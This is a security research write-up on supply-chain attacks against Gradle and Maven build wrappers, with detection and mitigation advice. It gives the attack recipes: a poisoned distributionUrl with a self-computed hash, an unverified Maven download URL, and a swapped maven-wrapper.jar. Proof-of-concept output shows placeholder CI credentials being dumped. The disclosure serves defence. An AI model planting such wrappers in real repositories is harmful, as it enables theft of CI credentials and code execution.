Build tool wrappers are the standard way JVM projects distribute a pinned tool version. Instead of relying on a system-wide installation, the wrapper downloads and caches a specific Gradle or Maven release into the project itself. The wrapper shell script is committed to the repository. The bootstrap binary is committed to the repository. When a developer or CI pipeline runs ./gradlew or ./mvnw, they’re invoking code that is already in git.
This design choice creates an unusual attack surface: the mechanism that ensures reproducibility, pinning tool versions in the repository, also becomes a vector for supply chain compromise. Both Gradle and Maven have integrity checks intended to verify wrapper authenticity. Both checks fail to protect against attackers with write access to the repository.
This article documents tested attacks against both wrappers. Gradle’s attack uses configuration poisoning to redirect downloads. Maven’s attack is more dangerous: it replaces the committed binary directly. Together, they show a pattern: in the JVM ecosystem, the wrapper is a trust boundary that can be used post compromise.
Background: how build wrappers work
Gradle Wrapper
./gradlew is a shell script that invokes:
java -cp gradle/wrapper/gradle-wrapper.jar GradleWrapperMain
GradleWrapperMain reads gradle/wrapper/gradle-wrapper.properties, resolves distributionUrl, and calls Install.install(). If the distribution is not already cached in $GRADLE_USER_HOME/wrapper/dists/, it downloads the ZIP, verifies it against distributionSha256Sum, and extracts it.
The wrapper then creates a URLClassLoader from all *.jar files under <extracted>/lib/, and calls:
Class<?> mainClass = classLoader.loadClass("org.gradle.launcher.GradleMain");
Method mainMethod = mainClass.getMethod("main", String[].class);
mainMethod.invoke(null, new Object[]{args});
The extracted Gradle release runs as part of the same JVM process, with full access to the developer’s environment.
Maven Wrapper
./mvnw (shell script) invokes:
java -cp .mvn/wrapper/maven-wrapper.jar org.apache.maven.wrapper.MavenWrapperMain "$@"
The committed JAR (maven-wrapper.jar, ~63 KB by convention) is on the classpath first. Whatever is in .mvn/wrapper/maven-wrapper.jar at invocation time is what executes.
If the local distribution cache is cold, the wrapper reads .mvn/wrapper/maven-wrapper.properties, downloads the distribution from distributionUrl, and caches it. Subsequent invocations use the cached copy.
Attack A: Gradle Wrapper hash bypass
The vulnerability
gradle-wrapper.properties contains two fields:
distributionUrl=https://services.gradle.org/distributions/gradle-8.13-bin.zip
distributionSha256Sum=dccb1612e69e36aa7f52082be0d820a27f90c1c7c58c7ab4e9df2eed1f3f7f65
The wrapper downloads the ZIP at distributionUrl, hashes it, and compares the result against distributionSha256Sum. If they match, it extracts and runs. This is presented as a security control.
The control provides no security because both fields live in the same file. An attacker who commits a modified gradle-wrapper.properties controls the URL they serve from and the hash they put in the file. They compute the SHA-256 of their own malicious ZIP, write that value as distributionSha256Sum, and point distributionUrl at their server. Verification passes every time.
The hash only proves that what was downloaded matches what was expected. It cannot prove that what was expected is safe when the attacker wrote both values.
How the attack works
An attacker opens a PR modifying gradle/wrapper/gradle-wrapper.properties. The diff looks like a Gradle version bump, a routine change that appears in almost every active Java project:
- Build a malicious Gradle distribution. Directory structure:
gradle-8.13-bin/
gradle-8.13-bin/lib/
gradle-8.13-bin/lib/gradle-launcher-8.13.jar ← contains malicious GradleMain
gradle-8.13-bin/lib/gradle-8.13.jar ← stub, satisfies URLClassLoader scan
gradle-8.13-bin/bin/
gradle-8.13-bin/bin/gradle
The JAR at lib/gradle-launcher-8.13.jar exports org.gradle.launcher.GradleMain. Its main() method runs the payload, then either exits or invokes legitimate Gradle behavior as needed to avoid suspicion.
- Compute the SHA-256. Of the malicious ZIP:
80376dc8f12a0d17d3f95d80b4ad3cbfb5d4b9850e5a0ae11500a180b3706aee
- Write
gradle-wrapper.properties. Both attacker-controlled:
distributionUrl=http://127.0.0.1:18080/gradle-8.13-bin.zip
distributionSha256Sum=80376dc8f12a0d17d3f95d80b4ad3cbfb5d4b9850e5a0ae11500a180b3706aee
CI merges the PR and runs ./gradlew build on a cold cache. The wrapper downloads from the attacker’s server, verifies the hash (passes), extracts, and loads GradleMain from the malicious JAR.
Live PoC output
Test environment: Gradle Wrapper 8.13.0, Java 21.0.11 (OpenJDK), Linux 6.12.94
Attack configuration:
distributionUrl=http://127.0.0.1:18080/gradle-8.13-bin.zip
distributionSha256Sum=80376dc8f12a0d17d3f95d80b4ad3cbfb5d4b9850e5a0ae11500a180b3706aee
(Attacker controls both fields - hash verification is self-signing)
Execution and output:
$ ./gradlew help --no-daemon
Downloading https://services.gradle.org/distributions/gradle-8.13-bin.zip
[PoC] Payload executed - see /tmp/grd04_poc/PWNED.txt
=== Gradle PoC: Malicious GradleMain.class Executed ===
User: example_user
Java: 21.0.11
=== Environment (CI credential exposure) ===
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
GITHUB_TOKEN=ghp_FAKE_CI_TOKEN_FOR_POC
NPM_TOKEN=npm_FAKE_CI_TOKEN_FOR_POC
$ echo $?
0
Exit code 0. The developer sees a normal download progress message, then (if the payload continues the build) normal build output. Nothing in the terminal indicates that arbitrary Java code already executed before Gradle started.
Scope
Any project using ./gradlew is affected. This is nearly universal in the Gradle ecosystem. The attack fires on the first ./gradlew invocation when the wrapper distribution cache is cold, common in CI environments with ephemeral runners.
Bonus finding: User-Agent fingerprinting
Before the wrapper downloads the ZIP, it sends an HTTP request disclosing significant host information. This was captured in PoC testing:
User-Agent: gradlew/0 (Linux;6.12.94+deb13-amd64;amd64) (OpenJDK;21.0.11;21.0.11+10-1-deb13u2-Debian)
This header contains:
- OS family and kernel:
Linux;6.12.94+deb13-amd64 - CPU architecture:
amd64 - JVM vendor:
OpenJDK - Exact JVM version and build:
21.0.11+10-1-deb13u2-Debian
The attacker’s server receives this information before serving anything. A targeted attack can use this to:
- Serve architecture-specific or JVM-version-specific payloads
- Fingerprint the CI environment before deciding whether to proceed with the attack
- Enumerate runner infrastructure via simple HTTP server logs
Attack B: Maven Wrapper - two attack surfaces
Maven Wrapper is more dangerous than Gradle because it has two distinct attack surfaces, and the second one is more reliable than anything Gradle offers.
URL redirect attack: distributionUrl redirect
maven-wrapper.properties contains:
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.3.2/maven-wrapper-3.3.2.jar
Unlike Gradle’s wrapper, Maven Wrapper does not include an integrity field by default. Gradle ships distributionSha256Sum as a standard property and verifies it. Maven Wrapper 3.2+ added an optional distributionSha256Sum field, but it is absent from the default-generated properties file. A project that never explicitly added it has no distribution integrity check.
An attacker who can commit to the repository changes distributionUrl to point at an attacker-controlled server. On the next ./mvnw invocation by any developer or CI pipeline with a cold local cache, the wrapper downloads and uses the distribution from that server.
Live test: HTTP redirect attack
Test environment: Maven Wrapper 3.3.2, Java 21.0.11, Linux 6.12.94
Attack setup:
- Download real Maven 3.9.9 distribution
- Inject malicious shell script into
apache-maven-3.9.9/bin/mvn - Repackage as ZIP and serve via HTTP on localhost:18081
- Create victim project with
maven-wrapper.propertiespointing to attacker’s URL
No distributionSha256Sum in properties:
distributionBase=MAVEN_USER_HOME
distributionPath=wrapper/dists
distributionUrl=http://127.0.0.1:18081/apache-maven-3.9.9-bin-malicious.zip
wrapperUrl=file:///dev/null
Execution:
$ ./mvnw --version
[WARNING] Using an insecure connection to download the Maven distribution.
Please consider using HTTPS.
Apache Maven 3.9.9 (8e8579a9e76f7d015ee5ec7bfcdc97d260186937)
Maven home: /tmp/.../apache-maven-3.9.9
Java version: 21.0.11, vendor: Debian
OS name: "linux", version: "6.12.94+deb13-amd64", arch: "amd64", family: "unix"
$ echo $?
0
Payload execution evidence (from injected script):
=== Maven URL Redirect Attack ===
Date: Mon Jul 13 01:54:27 PM EDT 2026
User: uid=1000(test_user) gid=1000(test_user) groups=1000(test_user),...
PWD: /home/test_user/someplace/
=== Environment ===
(Payload can read CI environment variables, credentials, etc.)
[SUCCESS] Malicious Maven wrapper script executed
What happened:
- HTTP warning appeared
- Malicious ZIP downloaded and extracted without integrity check
- Injected payload executed before Maven ran
- Exit code 0
- Real Maven continued running normally
Scope: This attack fires only when the local distribution cache is cold - the first ./mvnw run after a fresh clone, an explicit cache clear, or a distribution version bump.
Binary replacement attack: maven-wrapper.jar replacement
maven-wrapper.jar (63,028 bytes for version 3.3.2) is committed directly to .mvn/wrapper/ as standard Maven Wrapper convention. Every project using ./mvnw has this binary checked into version control.
The mvnw shell script does:
./mvnw (shell script)
→ java -cp .mvn/wrapper/maven-wrapper.jar org.apache.maven.wrapper.MavenWrapperMain "$@"
The committed JAR is on the classpath before anything else runs. Whatever is in .mvn/wrapper/maven-wrapper.jar at invocation time is what executes. There is no hash verification. The file is committed to version control and git treats it as an opaque binary.
An attacker who can commit to the repository replaces maven-wrapper.jar with a malicious JAR. Unlike Attack B-A, this requires no network connection and does not depend on a cold cache. It fires on every ./mvnw invocation.
PoC
A 2,136-byte JAR with a Main-Class manifest entry pointing at a payload class was committed in place of the legitimate 63,028-byte wrapper JAR:
=== ATTACK B: maven-wrapper.jar replacement ===
Evil maven-wrapper.jar built:
/tmp/mvn04_poc/victim_project_b/.mvn/wrapper/maven-wrapper.jar (2136 bytes)
[This JAR would be committed to .mvn/wrapper/maven-wrapper.jar in the repo]
Running ./mvnw --version (victim's normal workflow)...
./mvnw exit code: 0
stderr: [MVN04-B] Payload executed as: test_user
=== Maven Binary Replacement: maven-wrapper.jar Replacement Executed ===
Date: Sun Jun 21 23:20:00 EDT 2026
User: test_user
Java: 21.0.5
Args: [--version]
=== Environment ===
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
GITHUB_TOKEN=ghp_FAKE_CI_TOKEN_FOR_POC
PATH=...
Exit code 0. The payload received the full argument list passed to ./mvnw. The calling process saw a clean exit. In a CI pipeline, this is invisible unless the pipeline explicitly checks for unexpected output on stderr.
Why this is harder to detect than Attack B-A
Attack B-A modifies a text file. git diff shows the changed URL in plain text. A reviewer reading the diff can see that distributionUrl now points at attacker.example.com.
Attack B-B modifies a binary file. PR diff output:
Binary files a/.mvn/wrapper/maven-wrapper.jar and b/.mvn/wrapper/maven-wrapper.jar differ
No content is shown. Most code review interfaces render this as a single line with no expandable view. The file is expected to exist, expected to be a JAR, and changes to it during a version upgrade are routine. A reviewer who sees the binary diff has no obvious path to reading what changed without checking out the branch and running jar tf.
The 2,136-byte evil JAR versus the legitimate 63,028-byte JAR is a detectable size discrepancy, but size is not surfaced in most PR review UIs. An attacker who pads the JAR or replaces with a close-to-legitimate-size variant removes that signal.
Comparison: why Maven is more dangerous
| Aspect | Gradle | Maven URL Redirect | Maven Binary Replacement |
|---|---|---|---|
| What attacker commits | text .properties file | text .properties file | binary JAR |
| Network required | Yes (wrapper downloads from URL) | Yes (wrapper downloads from URL) | No |
| Hash bypass needed | Yes (self-sign both fields) | No (field absent by default) | N/A |
| PR reviewability | Readable text diff | Readable text diff | Binary diff only |
| Trigger | First ./gradlew (cold cache) | First ./mvnw (cold cache) | Every ./mvnw call |
| Stealthiness | Low (URL visible in diff) | Low (URL visible in diff) | High (binary, standard file) |
| Scope | CI pipelines, fresh developer machines | CI pipelines, fresh developer machines | All machines, all invocations |
Maven’s committed JAR (binary replacement) requires neither network access nor a cold cache, and fires on every invocation. It is more dangerous than both Gradle’s attack and Maven’s URL-redirect attack.
Detection
Maven Binary Replacement
Monitor .mvn/wrapper/maven-wrapper.jar file hash. Apache publishes checksums for each Maven Wrapper release at:
https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.3.2/maven-wrapper-3.3.2.jar.sha256
Any change to maven-wrapper.jar in a PR should be flagged automatically. Legitimate changes occur only when the wrapper version is upgraded, and those changes are documented in maven-wrapper.properties with a version bump. A JAR change without a corresponding version bump in the properties file is an indicator of compromise.
Size check. The legitimate maven-wrapper-3.3.2.jar is 63,028 bytes. A significant deviation without a version change warrants inspection.
CODEOWNERS or branch protection. Require a named reviewer’s approval on any commit that touches .mvn/wrapper/maven-wrapper.jar. Most projects do not have this rule because the file is treated as infrastructure, not code. It is code.
CI preflight. Before invoking ./mvnw, compute the SHA-256 of .mvn/wrapper/maven-wrapper.jar and compare it against the published Apache checksum. This adds one shell line to a CI pipeline and blocks Attack B-B entirely:
echo "$(cat .mvn/wrapper/maven-wrapper.jar | sha256sum | cut -d' ' -f1) .mvn/wrapper/maven-wrapper.jar" | sha256sum --check
Gradle Configuration Attack
Domain enforcement. Reject any gradle-wrapper.properties where distributionUrl does not match ^https://services\.gradle\.org/. This can be enforced as a CI pre-check before ./gradlew runs:
DIST_URL=$(grep '^distributionUrl=' gradle/wrapper/gradle-wrapper.properties | cut -d= -f2-)
if [[ "$DIST_URL" != https://services.gradle.org/* ]]; then
echo "ERROR: distributionUrl not from services.gradle.org: $DIST_URL"
exit 1
fi
Gradle’s official Wrapper Validation GitHub Action (gradle/actions/wrapper-validation) performs a variant of this check. It validates the wrapper JAR against known-good checksums and can be configured to enforce URL policy. This should run before any ./gradlew invocation, not after.
For developers reviewing PRs locally: Avoid running ./gradlew directly on a branch that modifies the wrapper properties until the distribution URL has been verified against services.gradle.org.
Both wrappers
The integrity field is not a trust anchor. In Gradle, the hash is only as trustworthy as the file that contains it. In Maven, the field is optional by default. Treat hashes as informational. The trust anchor is whether the distribution URL resolves to a domain you control or trust.
Mitigation
Maven Wrapper
Attack B-B (committed JAR replacement):
Pin the expected SHA-256 of maven-wrapper.jar in CI and fail the build if it does not match. Apache publishes checksums per wrapper release; use those as the source of truth, not a hash computed from a committed file in the same repository. A committed hash of a committed file does not protect against an attacker who commits both.
Add .mvn/wrapper/maven-wrapper.jar to a CODEOWNERS rule requiring security team review on any modification. Treat it the same way you would treat a committed binary dependency: any change needs a reason.
Attack B-A (distributionUrl redirect):
Add distributionSha256Sum to maven-wrapper.properties. Maven Wrapper 3.2+ reads and enforces this field. Obtain the SHA-256 of the target distribution from the Apache Maven project’s published checksums:
https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip.sha256
With distributionSha256Sum set, the wrapper will reject any distribution whose hash does not match, regardless of where distributionUrl points.
In CI, set an explicit allow-list for acceptable distributionUrl domains and fail the build if distributionUrl resolves outside it.
Gradle Wrapper
The practical mitigation is domain enforcement at the CI level. Reject any gradle-wrapper.properties where distributionUrl does not match ^https://services\.gradle\.org/. This can be enforced as a CI pre-check before ./gradlew runs:
DIST_URL=$(grep '^distributionUrl=' gradle/wrapper/gradle-wrapper.properties | cut -d= -f2-)
if [[ "$DIST_URL" != https://services.gradle.org/* ]]; then
echo "ERROR: distributionUrl not from services.gradle.org: $DIST_URL"
exit 1
fi
For developer workstations, the same risk exists when reviewing PRs that modify gradle-wrapper.properties and locally running ./gradlew to verify the change. Reviewers should avoid running ./gradlew directly on a branch that modifies the wrapper properties until the distribution URL has been verified.
The distributionSha256Sum field is not a trust anchor. Treat it as an informational field only. The trust anchor is whether distributionUrl resolves to a domain you control or trust.
References
Gradle Wrapper:
- Source:
gradle/gradle-subprojects/wrapper/src/main/java/org/gradle/wrapper/ Install.java-install(),unzip(), sha256 verificationBootstrapMainStarter.java- URLClassLoader construction andGradleMaininvocation- Gradle Wrapper Validation Action:
https://github.com/gradle/actions/tree/main/wrapper-validation - Gradle 8.3 release notes -
wrapper validatecommand
Maven Wrapper:
- Source:
apache/maven-wrapper-maven-wrapper/src/main/java/org/apache/maven/wrapper/ MavenWrapperMain.java- classloader setup and bootstrap- Apache Maven published checksums:
https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/ - Maven Wrapper 3.2+ release notes -
distributionSha256Sumfield
Tested against:
- Gradle Wrapper 8.13.0, Java 21 (Eclipse Temurin 21.0.5)
- Maven Wrapper 3.3.2, Java 21 (Eclipse Temurin 21.0.5)
- Linux kernel 6.12.90+deb13.1-amd64